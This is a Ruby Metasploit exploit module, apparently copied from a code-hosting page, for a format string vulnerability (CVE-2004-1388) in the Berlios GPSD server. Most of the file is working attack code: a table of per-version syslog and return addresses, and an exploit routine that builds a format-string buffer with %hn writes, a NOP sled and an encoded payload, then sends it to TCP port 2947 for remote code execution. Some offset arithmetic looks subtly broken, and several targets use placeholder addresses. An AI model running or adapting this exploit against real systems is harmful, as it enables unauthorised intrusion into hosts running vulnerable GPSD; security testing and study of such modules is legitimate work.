100 lines
3.7 KiB
Ruby
100 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Berlios GPSD Format String Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a format string vulnerability in the Berlios GPSD server.
|
|
This vulnerability was discovered by Kevin Finisterre.
|
|
},
|
|
'Author' => [ 'Yann Senotier <yann.senotier[at]cyber-networks.fr>' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2004-1388' ],
|
|
[ 'OSVDB', '13199' ],
|
|
[ 'BID', '12371' ],
|
|
[ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],
|
|
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1004,
|
|
'BadChars' => "\x00\x0a\x0d\x0c",
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
|
|
[ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
|
|
[ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
|
|
[ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
|
|
[ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
|
|
[ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
|
|
[ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],
|
|
[ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
|
|
[ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
|
|
[ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],
|
|
[ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
|
|
[ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],
|
|
[ 'Debug ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],
|
|
],
|
|
'DisclosureDate' => 'May 25 2005'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(2947)
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
offset = 17
|
|
dump_fmt = 7
|
|
al = 3
|
|
|
|
hi = (target.ret >> 0) & 0xffff
|
|
lo = (target.ret >> 16) & 0xffff
|
|
|
|
shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
|
|
shift1 = (sprintf("%d",0x10000) + sprintf("%d",lo)) - sprintf("%d",hi)
|
|
|
|
buf = "A" * 3 + "B" * 4
|
|
buf += [ target['Syslog']].pack('V')
|
|
buf += "B" * 4
|
|
buf += [ target['Syslog'] + 0x2].pack('V')
|
|
buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
|
|
buf += make_nops(3000) + payload.encoded
|
|
|
|
sock.put(buf)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|